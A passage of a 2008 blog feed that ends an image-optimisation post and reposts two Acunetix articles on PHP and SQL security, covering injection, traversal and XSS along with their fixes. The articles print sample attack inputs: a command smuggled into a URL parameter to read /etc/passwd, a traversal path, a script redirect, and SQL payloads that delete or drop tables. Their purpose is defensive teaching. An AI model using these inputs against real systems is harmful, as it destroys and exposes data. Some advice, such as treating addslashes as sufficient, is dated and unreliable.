-reduce -brute result.png &lt;/li&gt;  &lt;li&gt; Run jpegtran on all your JPEGs. This tool does lossless JPEG operations  such as rotation and can also be used to optimize and remove comments  and other useless information (such as EXIF information) from your  images. &lt;br /&gt;    jpegtran -copy none -optimize -perfect src.jpg dest.jpg &lt;/li&gt;&lt;/ul&gt;&lt;h3 id="opt_sprites"&gt;Optimize CSS Sprites&lt;/h3&gt;&lt;ul&gt;  &lt;li&gt;Arranging the images in the sprite horizontally as opposed to vertically usually results in a smaller file size.&lt;/li&gt;  &lt;li&gt;Combining similar colors in a sprite helps you keep the color count low, ideally under 256 colors so to fit in a PNG8.&lt;/li&gt;  &lt;li&gt;&amp;quot;Be mobile-friendly&amp;quot; and don't leave big gaps between the images in a sprite. This doesn't affect the file size as much          but requires less memory for the user agent to decompress the image into a pixel map.          100x100 image is 10 thousand pixels, where 1000x1000 is 1 million pixels &lt;/li&gt;&lt;/ul&gt;&lt;h3 id="no_scale"&gt;Don't Scale Images in HTML&lt;/h3&gt;&lt;p&gt; Don't use a bigger image than you need just because you can set the width and height in HTML.      If you need &lt;br /&gt;  &amp;lt;img width=&amp;quot;100&amp;quot; height=&amp;quot;100&amp;quot; src=&amp;quot;mycat.jpg&amp;quot; alt=&amp;quot;My Cat&amp;quot; /&amp;gt; &lt;br /&gt;  then your image (mycat.jpg) should be 100x100px rather than a scaled down 500x500px image. &lt;/p&gt;&lt;h3 id="favicon"&gt;Make favicon.ico Small and Cacheable&lt;/h3&gt;&lt;p&gt; The favicon.ico is an image that stays in the root of your server.      It's a necessary evil because even if you don't care about it the      browser will still request it, so it's better not to respond with a 404 Not Found.      Also since it's on the same server, cookies are sent every time it's requested.      This image also interferes with the download sequence, for example in IE when you request      extra components in the onload, the favicon will be downloaded before these extra components. &lt;/p&gt;&lt;p&gt; So to mitigate the drawbacks of having a favicon.ico make sure: &lt;/p&gt;&lt;ul&gt;  &lt;li&gt;It's small, preferably under 1K.&lt;/li&gt;  &lt;li&gt;Set Expires header with what you feel comfortable (since you cannot rename it if you decide to change it).          You can probably safely set the Expires header a few months in the future.          You can check the last modified date of your current favicon.ico to make an informed decision. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt; &lt;a target="_blank" href="http://www.imagemagick.org"&gt;Imagemagick&lt;/a&gt; can help you create small favicons &lt;/p&gt;&lt;h3 id="under25"&gt;Keep Components under 25K&lt;/h3&gt;&lt;p&gt; This restriction is related to the fact that iPhone won't cache components bigger than 25K.      Note that this is the &lt;em&gt;uncompressed&lt;/em&gt; size. This is where minification is important      because gzip alone may not be sufficient. &lt;/p&gt;&lt;p&gt; For more information check &lt;a target="_blank" href="http://yuiblog.com/blog/2008/02/06/iphone-cacheability/"&gt;&amp;quot;Performance Research, Part 5: iPhone Cacheability - Making it Stick&amp;quot;&lt;/a&gt; by Wayne Shea and Tenni Theurer. &lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://developer.yahoo.com/performance/rules.html#page-nav"&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3 id="multipart"&gt;Pack Components into a Multipart Document&lt;/h3&gt;&lt;p&gt;Packing components into a multipart document is like an email with attachments,      it helps you fetch several components with one HTTP request (remember: HTTP requests are expensive).      When you use this technique, first check if the user agent supports it (iPhone does not). &lt;/p&gt;&lt;p&gt;Source:  &lt;a target="_blank" href="http://developer.yahoo.com/performance/rules.html"&gt;Yahoo! Developer Network&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-9059802261799158117?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/9059802261799158117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=9059802261799158117' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/9059802261799158117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/9059802261799158117'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/07/best-practices-for-speeding-up-your-web.html' title='Best Practices for Speeding Up Your Web Site'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-1109314211948100174</id><published>2008-06-05T12:53:00.004+05:30</published><updated>2008-06-05T14:22:54.664+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP / SQL Security'/><title type='text'>PHP Security / SQL Security - Part 1</title><content type='html'>&lt;p&gt;&lt;h3&gt;Web Security: The Big Picture&lt;/h3&gt;Whether your site is the   web presence for a large multinational, a gallery showing your product range and   inviting potential customers to come into the shop, or a personal site   exhibiting your holiday photos, web security matters. After the hard work put in   to make your site look good and respond to your users, the last thing you want   is for a malicious hacker to come along, perform a PHP hack and break it   somehow.&lt;/p&gt;&lt;p&gt;There are a number of problems in web security, and unfortunately not all of   them have definite solutions, but here we'll look at some of the problems that   should be considered every time you set out to write a PHP script to avoid a PHP   hack attack. These are the problems which, with well-designed code, can be   eliminated entirely. Before looking in detail at the solutions, though, lets   take a moment to define the problems themselves.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;&lt;A target="_blank"href="http://itsmeeashok.blogspot.com/2008/06/sql-injection-walkthrough.html"&gt;SQL Injection&lt;/a&gt;&lt;/h3&gt;In this attack, a user is able to execute   SQL queries in your website's database. This attack is usually performed by   entering text into a form field which causes a subsequent SQL query, generated   from the PHP form processing code, to execute part of the content of the form   field as though it were SQL. The effects of this attack range from the harmless   (simply using SELECT to pull another data set) to the devastating (DELETE, for   instance). In more subtle attacks, data could be changed, or new data added.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Directory Traversal&lt;/h3&gt;This attack can occur anywhere   user-supplied data (from a form field or uploaded filename, for example) is used   in a filesystem operation. If a user specifies &amp;ldquo;../../../../../../etc/passwd&amp;rdquo; as   form data, and your script appends that to a directory name to obtain   user-specific files, this string could lead to the inclusion of the password   file contents, instead of the intended file. More severe cases involve file   operations such as moving and deleting, which allow an attacker to make   arbitrary changes to your filesystem structure.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Authentication Issues&lt;/h3&gt;Authentication issues involve users   gaining access to something they shouldn't, but to which other users should. An   example would be a user who was able to steal (or construct) a cookie allowing   them to login to your site under an Administrator session, and therefore be able   to change anything they liked.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Remote Scripts (XSS)&lt;/h3&gt;&lt;A target="_blank"href="http://itsmeeashok.blogspot.com/2008/06/cross-site-scripting-xss-underestimated.html"&gt;XSS, or Cross-Site Scripting &lt;/a&gt;(also   sometimes referred to as CSS, but this can be confused with Cascading Style   Sheets, something entirely different!) is the process of exploiting a security   hole in one site to run arbitrary code on that site's server. The code is   usually included into a running PHP script from a remote location. This is a   serious attack which could allow any code the attacker chooses to be run on the   vulnerable server, with all of the permissions of the user hosting the script,   including database and filesystem access.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Processing User Data &amp;ndash; Form Input Verification &amp;amp; HTML   Display&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Validating Input And Stripping Tags&lt;/h3&gt;When a user enters   information into a form which is to be later processed on your site, they have   the power to enter anything they want. Code which processes form input should be   carefully written to ensure that the input is as requested; password fields have   the required level of complexity, e-mail fields have at least some characters,   an @ sign, some more characters, a period, and two or more characters at the   end, zip or postal codes are of the required format, and so on.&lt;/p&gt;&lt;p&gt;Each of these may be verified using regular expressions, which scan the input   for certain patterns. An example for e-mail address verification is the PHP code   shown below. This evaluates to true if an e-mail address was entered in the   field named 'email'.&lt;/p&gt;&lt;p&gt;preg_match('/^.+@.+\..{2,3}$/',$_POST['email']);&lt;/p&gt;&lt;p&gt;This code just constructs a regular expression based on the format described   above for an e-mail address. Note that this will return true for anything with   an @ sign and a dot followed by 2 or 3 characters. That is the general format   for an e-mail address, but it doesn't mean that address necessarily exists;   you'd have to send mail to it to be sure of that.&lt;/p&gt;&lt;p&gt;Interesting as this is, how does it relate to security? Well, consider a   guestbook as an example. Here, users are invited to enter a message into a form,   which then gets displayed on the HTML page along with everyone else's messages.   For now, we won't go into database security issues, the problems dealt with   below can occur whether the data is stored in a database, a file, or some other   construct.&lt;/p&gt;&lt;p&gt;If a user enters data which contains HTML, or even JavaScript, then when the   data is included into your HTML for display later, their HTML or JavaScript will   also get included.&lt;/p&gt;&lt;p&gt;If your guestbook page displayed whatever was entered into the form field,   and a user entered the following,&lt;/p&gt;&lt;p&gt;Hi, I &amp;lt;b&amp;gt;love&amp;lt;/b&amp;gt; your site.&lt;/p&gt;&lt;p&gt;Then the effect is minimal, when displayed later, this would appear as,&lt;/p&gt;&lt;p&gt;Hi, I &lt;b&gt;love&lt;/b&gt; your site.&lt;/p&gt;&lt;p&gt;Of course, when the user enters JavaScript, things can get a lot worse. For   example, the data below, when entered into a form which does not prevent   JavaScript ending up in the final displayed page, will cause the page to   redirect to a different website. Obviously, this only works if the client has   JavaScript enabled in their browser, but the vast majority of users do.&lt;/p&gt;&lt;p&gt;Hi, I love your site. Its   great!&amp;lt;script&lt;BR&gt;  language=&amp;rdquo;JavaScript&amp;rdquo;&amp;gt;document.location=&amp;rdquo;http://www.acunetix.com/&amp;rdquo;;&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;p&gt;For a split second when this is displayed, the user will see,&lt;/p&gt;&lt;p&gt;Hi, I love your site. Its great!&lt;/p&gt;&lt;p&gt;The browser will then kick in and the page will be refreshed from   www.acunetix.com. In this case, a fairly harmless alternative page, although it   does result in a denial of service attack; users can no longer get to your   guestbook.&lt;/p&gt;&lt;p&gt;Consider a case where this was entered into an online order form. Your order   dispatchers would not be able to view the data because every time they tried,   their browser would redirect to another site. Worse still, if the redirection   occurred on a critical page for a large business, or the redirection was to a   site containing objectionable material, custom may be lost as a result of the   attack.&lt;/p&gt;&lt;p&gt;Fortunately, PHP provides a way to prevent this style of PHP hack attack. The   functions strip_tags(), nl2br() and htmlspecialchars() are your friends,   here.&lt;/p&gt;&lt;p&gt;strip_tags() removes any PHP or HTML tags from a string. This prevents the   HTML display problems, the JavaScript execution (the &amp;lt;script&amp;gt; tag will no   longer be present) and a variety of problems where there is a chance that PHP   code could be executed.&lt;/p&gt;&lt;p&gt;nl2br() converts newline characters in the input to &amp;lt;br /&amp;gt; HTML tags.   This allows you to format multi-line input correctly, and is mentioned here only   because it is important to run strip_tags() prior to running nl2br() on your   data, otherwise the newly inserted &amp;lt;br /&amp;gt; tags will be stripped out when   strip_tags() is run!&lt;/p&gt;&lt;p&gt;Finally, htmlspecialchars() will entity-quote characters such as &amp;lt;, &amp;gt;   and &amp;amp; remaining in the input after strip_tags() has run. This prevents them   being misinterpreted as HTML and makes sure they are displayed properly in any   output.&lt;/p&gt;&lt;p&gt;Having presented those three functions, there are a few points to make about   their usage. Clearly, nl2br() and htmlspecialchars() are suited for output   formatting, called on data just before it is output, allowing the database or   file-stored data to retain normal formatting such as newlines and characters   such as &amp;amp;. These functions are designed mainly to ensure that output of data   into an HTML page is presented neatly, even after running strip_tags() on any   input.&lt;/p&gt;&lt;p&gt;strip_tags(), on the other hand, should be run immediately on input of data,   before any other processing occurs. The code below is a function to clean user   input of any PHP or HTML tags, and works for both GET and POST request   methods.&lt;/p&gt;&lt;p&gt;function _INPUT($name)&lt;BR&gt;  {&lt;BR&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp; if   ($_SERVER['REQUEST_METHOD'] == 'GET')&lt;BR&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return   strip_tags($_GET[$name]);&lt;BR&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp; if ($_SERVER['REQUEST_METHOD'] ==   'POST')&lt;BR&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return strip_tags($_POST[$name]);&lt;BR&gt;  }&lt;/p&gt;&lt;p&gt;This function could easily be expanded to include cookies in the search for a   variable name. I called it _INPUT because it directly parallels the $_ arrays   which store user input. Note also that when using this function, it does not   matter whether the page was requested with a GET or a POST method, the code can   use _INPUT() and expect the correct value regardless of request method. To use   this function, consider the following two lines of code, which both have the   same effect, but the second strips the PHP and HTML tags first, thus increasing   the security of the script.&lt;/p&gt;&lt;p&gt;$name = $_GET['name');&lt;BR&gt;  $name = _INPUT('name');&lt;/p&gt;&lt;p&gt;If data is to be entered into a database, more processing is needed to   prevent SQL injection, which will be discussed later.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Executing Code Containing User Input&lt;/h3&gt;Another concern when   dealing with user data is the possibility that it may be executed in PHP code or   on the system shell. PHP provides the eval() function, which allows arbitrary   PHP code within a string to be evaluated (run). There are also the system(),   passthru() and exec() functions, and the backtick operator, all of which allow a   string to be run as a command on the operating system shell.&lt;/p&gt;&lt;p&gt;Where possible, the use of all such functions should be avoided, especially   where user input is entered into the command or code. An example of a situation   where this can lead to attack is the following command, which would display the   results of the command on the web page.&lt;/p&gt;&lt;p&gt;echo 'Your usage log:&amp;lt;br /&amp;gt;';&lt;BR&gt;  $username =   $_GET['username'];&lt;BR&gt;  passthru(&amp;ldquo;cat /logs/usage/$username&amp;rdquo;);&lt;/p&gt;&lt;p&gt;passthru() runs a command and displays the output as output from the PHP   script, which is included into the final page the user sees. Here, the intent is   obvious, a user can pass their username in a GET request such as   usage.php?username=andrew and their usage log would be displayed in the browser   window.&lt;/p&gt;&lt;p&gt;But what if the user passed the following URL?&lt;/p&gt;&lt;p&gt;usage.php?username=andrew;cat%20/etc/passwd&lt;/p&gt;&lt;p&gt;Here, the username value now contains a semicolon, which is a shell command   terminator, and a new command afterwards. The %20 is a URL-Encoded space   character, and is converted to a space automatically by PHP. Now, the command   which gets run by passthru() is,&lt;/p&gt;&lt;p&gt;cat /logs/usage/andrew;cat /etc/passwd&lt;/p&gt;&lt;p&gt;Clearly this kind of command abuse cannot be allowed. An attacker could use   this vulnerability to read, delete or modify any file the web server has access   to. Luckily, once again, PHP steps in to provide a solution, in the form of the   escapeshellarg() function. escapeshellarg() escapes any characters which could   cause an argument or command to be terminated. As an example, any single or   double quotes in the string are replaced with \' or \&amp;rdquo;, and semicolons are   replaced with \;. These replacements, and any others performed by   escapeshellarg(), ensure that code such as that presented below is safe to   run.&lt;/p&gt;&lt;p&gt;$username = escapeshellarg($_GET['username']);&lt;BR&gt;  passthru(&amp;ldquo;cat   /logs/usage/$username&amp;rdquo;);&lt;/p&gt;&lt;p&gt;Now, if the attacker attempts to read the password file using the request   string above, the shell will attempt to access a file called   &amp;ldquo;/logs/usage/andrew;cat /etc/passwd&amp;rdquo;, and will fail, since this file will almost   certainly not exist.&lt;/p&gt;&lt;p&gt;It is generally considered that eval() called on code containing user input   be avoided at all costs; there is almost always a better way to achieve the   desired effect. However, if it must be done, ensure that strip_tags has been   called, and that any quoting and character escapes have been performed.&lt;/p&gt;&lt;p&gt;Combining the above techniques to provide stripping of tags, escaping of   special shell characters, entity-quoting of HTML and regular expression-based   input validation, it is possible to construct secure web scripts with relatively   little work over and above constructing one without the security considerations.   In particular, using a function such as the _INPUT() presented above makes the   secure version of input acquisition almost as painless as the insecure version   PHP provides.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;How to check for PHP vulnerabilities&lt;/h3&gt;The best way to   check whether your web site &amp;amp; applications are vulnerable to PHP hack   attacks is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner   crawls your entire website and automatically checks for vulnerabilities to PHP   attacks. It will indicate which scripts are vulnerable so that you can fix the   vulnerability easily. Besides PHP security vulnerabilities, a web application   scanner will also check for SQL injection, Cross site scripting &amp;amp; other web   vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;A target="_blank"href="../vulnerability-scanner/index.htm"&gt;Acunetix Web Vulnerability   Scanner&lt;/A&gt; ensures website security by automatically checking for &lt;A target="_blank"href="../vulnerability-scanner/sql-injection.htm"&gt;SQL injection&lt;/A&gt;, &lt;A target="_blank"href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site scripting&lt;/A&gt; and   other vulnerabilities. It checks password strength on authentication pages and   automatically audits shopping carts, forms, dynamic content and other web   applications. As the scan is being completed, the software produces detailed   reports that pinpoint where vulnerabilities exist. Take a &lt;A target="_blank"href="../vulnerability-scanner/features.htm"&gt;product tour&lt;/A&gt; or &lt;A target="_blank"href="../vulnerability-scanner/download.htm"&gt;download&lt;/A&gt; the evaluation version   today!&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Scanning for XSS vulnerabilities with Acunetix WVS Free   Edition!&lt;/h3&gt;To check whether your website has cross site scripting   vulnerabilities, download the Free Edition from &lt;A target="_blank"href="http://www.acunetix.com/cross-site-scripting/scanner.htm"&gt;http://www.acunetix.com/cross-site-scripting/scanner.htm&lt;/A&gt;.   This version will scan any website / web application for &lt;A target="_blank"href="xss.htm"&gt;XSS&lt;/A&gt; vulnerabilities and it will also reveal all the essential   information related to it, such as the vulnerability location and remediation   techniques. Scanning for XSS is normally a quick exercise (depending on the size   of the web-site).&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Later In The Series&lt;/h3&gt;This series will go on to look at SQL   databases, and protecting against SQL injection attacks, as well as file   operations and session management, including a look at one of the features of   PHP designed to increase security and avoid PHP hack attacks- the PHP Safe   Mode.&lt;/p&gt;&lt;p&gt;Source: &lt;A target="_blank"href="http://www.acunetix.com/websitesecurity/"&gt;Website security&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-1109314211948100174?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/1109314211948100174/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=1109314211948100174' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/1109314211948100174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/1109314211948100174'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/php-security-sql-security-part-1.html' title='PHP Security / SQL Security - Part 1'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-6858343842006115051</id><published>2008-06-05T12:52:00.003+05:30</published><updated>2008-06-05T14:23:54.960+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP / SQL Security'/><title type='text'>PHP / SQL Security - Part 2</title><content type='html'>&lt;p&gt;&lt;h6&gt;Last Time...&lt;/h6&gt;In the previous article, I looked at   processing and securing user input when it is to be redisplayed or executed as   PHP code. Now its time to consider entering that data into a database, and cover   the security issues which arise when doing so.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;SQL Injection&lt;/h3&gt;SQL (Structured Query Language) is the   language used to interface with many database systems, including MySQL,   PostgreSQL and MSSQL. Certain words and characters are interpreted specially by   SQL, as commands, separators, or command terminators, for instance.&lt;/p&gt;&lt;p&gt;When a user enters data into a form, there is nothing stopping them entering   these special commands and characters. Consider the PHP code below:&lt;/p&gt;&lt;p&gt;$query = &amp;ldquo;INSERT INTO orders(address)   VALUES('$_GET['address']')&amp;rdquo;;&lt;BR&gt;  $result = mysql_query($query);&lt;/p&gt;&lt;p&gt;A form with a textbox named address would be used to gather the information   for this page. We'll ignore any other form elements for now, but obviously   there'd be the order items, a name, possibly a price, a delivery date, and so   on, which would also all need storing in a database.&lt;/p&gt;&lt;p&gt;Imagine a perfectly legitimate user comes along and enters the following   address&lt;/p&gt;&lt;p&gt;14 King's Way&lt;BR&gt;  Kingston&lt;BR&gt;  Kingham County&lt;/p&gt;&lt;p&gt;The database would spit back an error because the SQL command would be   malformed. In the query, the address value is surrounded by single quotes,   because it is a string value. When the database hits the apostrophe in King's   Way, it will treat it as the closing single quote, and end the string. The rest   of the address will be treated as SQL commands. Since these &amp;ldquo;commands&amp;rdquo; don't   exist, the database returns to PHP with an error.&lt;/p&gt;&lt;p&gt;Now consider an attacker entering the following information into the   form:&lt;/p&gt;&lt;p&gt;14 Kings Way&lt;BR&gt;  Kingston&lt;BR&gt;  Kingham County');DELETE FROM orders   *; INSERT INTO ORDERS(address) VALUES('Your data just got deleted by us. We   win&lt;/p&gt;&lt;p&gt;Now, the command will succeed. The expected string data is presented, along   with a closing quote. The opening ( after VALUES is closed, and the SQL command   is terminated using a semicolon. After this, another command begins, one which   tells the database to delete the entire contents of the orders table. Then,   because the SQL hard-coded into the PHP contains another closing single quote, a   third SQL command is entered, which leaves an open string value. This will be   matched up with the final quote in the hard-coded SQL, and the entire command is   syntactically correct, as far as SQL is concerned, and will therefore execute   with no complaint.&lt;/p&gt;&lt;p&gt;Clearly, it is not desirable for any user to be able to issue arbitrary   queries simply by posting data in a form. Luckily for us, as with the PHP and   HTML input issues discussed in part 1, PHP provides a solution. The addslashes()   and stripslashes() functions step in to prevent the above scenarios, and any   number of similar attacks.&lt;/p&gt;&lt;p&gt;addslashes() will escape characters with a special meaning to SQL, such as '   or ; by prefixing them with a backslash (\), the backslash itself is also   escaped, becoming \\. stripslashes() performs the opposite conversion, removing   the prefix slashes from a string.&lt;/p&gt;&lt;p&gt;When entering data into a database, addslashes() should be run on all   user-supplied data, and any PHP generated data which may contain special   characters. To guarantee safety, simply run addslashes() on every string input   to the database, even if it was generated internally by a PHP function.   Similarly, be sure to run stripslashes() when pulling data back out from the   database.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Non-String Variables&lt;/h3&gt;Since PHP automatically determines   the type of a variable, you should also check variables which you expect to be   integers or other data types. For instance, the int type in SQL does not need to   be quoted, but it is still possible for a string in a PHP variable to be   inserted into an SQL query in the position an integer would usually take.   Consider the example below.&lt;/p&gt;&lt;p&gt;$query = &amp;ldquo;INSERT INTO customers(customer_number)   VALUES($_POST['number'])&amp;rdquo;;&lt;/p&gt;&lt;p&gt;If a user supplied the value&lt;/p&gt;&lt;p&gt;0); DROP TABLE customers; CREATE TABLE   customers(customer_id&lt;/p&gt;&lt;p&gt;then the same kind of attack as before can be mounted. In this case, simply   using addslashes() isn't enough: you will prevent the command execution, but the   database will still consider this to be an error as the words are not valid in   that context. The only way to ensure against this kind of attack is to perform   consistent input validation. Make sure that a value you think should be an   integer really is. A regular expression that matches any non-integer characters   should return false on a PHP string containing only an &amp;ldquo;integer&amp;rdquo;. When that   string is treated as an integer by SQL, it will therefore not cause any errors   or unexpected code execution.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Database Ownership &amp;amp; Permissions&lt;/h3&gt;There are other   precautions you may be able to take to prevent some of the more serious SQL   injection attacks. One such course of action is to implement access control on   the database. Many database packages support the concept of users, and it should   be possible to set an owner, with full permissions to modify anything within the   database, and other users which may only connect and issue SELECT or INSERT   queries, thus preserving any data already entered against DELETE or DROP   commands. The specifics of achieving such protection will depend on the database   system you're using, and consulting the documentation or user manual should   reveal how to implement access control.&lt;/p&gt;&lt;p&gt;The user designated as the database owner should never be used to connect to   the database from a PHP script; owner privileges should be used on consoles or   web admin interfaces such as phpmysqladmin. If a script requires the DELETE or   UPDATE commands, it should ideally use a separate user account to the standard   account, so that the standard account can only add data using INSERT, and   retrieve data using SELECT. This separation of permissions prevents attacks by   limiting the effectiveness of any one SQL injection avenue. If, by poor or   forgetful programming, a user can inject SQL into one script, they will gain   only SELECT / INSERT permissions, or only UPDATE / DELETE permissions, and never   sufficient permissions to drop entire tables or modify the table structure using   the ALTER command.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;File Permissions&lt;/h3&gt;Data in a database system must be stored   somehow on disk. The database system itself is responsible for exactly how the   data is stored, but usually there will be a data/ directory under which the   database keeps its files. On a shared hosting system, or a system which allows   users some access to the filesystem, it is essential to reduce the permissions   on this file to a bare minimum; only the system user under which the database   process itself runs should have read or write access to the data files. The web   server does not need access as it will communicate with the database system for   its data, instead of accessing the files directly.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Making Database Connections&lt;/h3&gt;PHP usually connects to the   database management system through a TCP socket or a local domain socket (on   UNIX/Linux). Where possible, you should prevent connections to this socket from   IP addresses or processes other than the web server, and any other process which   needs access to the data (for example, if you have internal order processing   software which does not run through the web server). If the web server and the   database server are on the same computer, and no other services are running   which may be exploited to provide a database connection, it should be sufficient   to allow only the local host (given by the hostname localhost or the IP address   127.0.0.1) access to the TCP port on which the database manager is listening. If   the web server and database server are on different machines, the IP of the web   server should be specified explicitly. In short, limit the access to the   database as much as possible without breaking anything that needs access to it.   This should help to ensure that the only access channel is via your PHP scripts,   and those have been written securely enough to check for unexpected or   unauthorised data and reject it before it reaches the database.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Database Passwords In Scripts&lt;/h3&gt;Finally, a word on database   passwords. Each database user should be assigned a password, and your scripts   will need this password in order to initiate a connection to the database.   Ideally, scripts containing configuration data such as the database username and   password should be stored outside of the web server's document root. This   prevents a casual attacker retrieving the plain text of the configuration file   and obtaining the database password.&lt;/p&gt;&lt;p&gt;Other methods to consider are to use a .php extension for the file, instead   of the commonly used .inc extension, for included files. The .php extension   ensures that the file is passed through PHP before output is sent to the user's   browser, and so it is possible to prevent display of data within the file simply   by not echoing it!&lt;/p&gt;&lt;p&gt;.htaccess files provide a third method of protecting against password   grabbing. If you deny web access to files whose names begin with   .databaseconfig, for instance, a user cannot easily obtain the file through the   web server directly.&lt;/p&gt;&lt;p&gt;Of course, a user may still be able to exploit file access security   vulnerabilities in scripts to obtain, or even to change, the contents of the   file.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;How to check for PHP vulnerabilities&lt;/h3&gt;The best way to   check whether your web site &amp;amp; applications are vulnerable to PHP security   attacks is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner   crawls your entire website and automatically checks for vulnerabilities to PHP   attacks. It will indicate which scripts are vulnerable so that you can fix the   vulnerability easily. Besides PHP security vulnerabilities, a web application   scanner will also check for SQL injection, Cross site scripting &amp;amp; other web   vulnerabilities.&lt;/p&gt;&lt;p&gt;The &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;Acunetix Web   Vulnerability Scanner&lt;/A&gt; scans for &lt;A target="_blank" href="sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site   scripting&lt;/A&gt;, &lt;A target="_blank" href="google-hacking.htm"&gt;Google hacking&lt;/A&gt; and many more   vulnerabilities. For &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;more information&lt;/A&gt; &amp;amp;   a trial download &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;click   here&lt;/A&gt;.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Check if your website is vulnerable to attack with Acunetix Web   Vulnerability Scanner&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;Acunetix Web Vulnerability Scanner ensures website security by automatically   checking for &lt;A target="_blank" href="../vulnerability-scanner/sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site   scripting&lt;/A&gt; and other vulnerabilities. It checks password strength on   authentication pages and automatically audits shopping carts, forms, dynamic   content and other web applications. As the scan is being completed, the software   produces detailed reports that pinpoint where vulnerabilities exist. Take a &lt;A target="_blank" href="../vulnerability-scanner/features.htm"&gt;product tour&lt;/A&gt; or &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;download&lt;/A&gt; the evaluation version   today!&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Scanning for XSS vulnerabilities with Acunetix WVS Free   Edition!&lt;/h3&gt;To check whether your website has cross site scripting   vulnerabilities, download the Free Edition from &lt;A target="_blank" href="http://www.acunetix.com/cross-site-scripting/scanner.htm"&gt;http://www.acunetix.com/cross-site-scripting/scanner.htm&lt;/A&gt;.   This version will scan any website / web application for &lt;A target="_blank" href="xss.htm"&gt;XSS&lt;/A&gt; vulnerabilities and it will also reveal all the essential   information related to it, such as the vulnerability location and remediation   techniques. Scanning for XSS is normally a quick exercise (depending on the size   of the web-site).&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Later In The Series&lt;/h3&gt;The next article in this series looks   at PHP and file access in detail.&lt;/p&gt;&lt;p&gt;Source: &lt;A target="_blank" href="http://www.acunetix.com/websitesecurity/"&gt;Website security&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 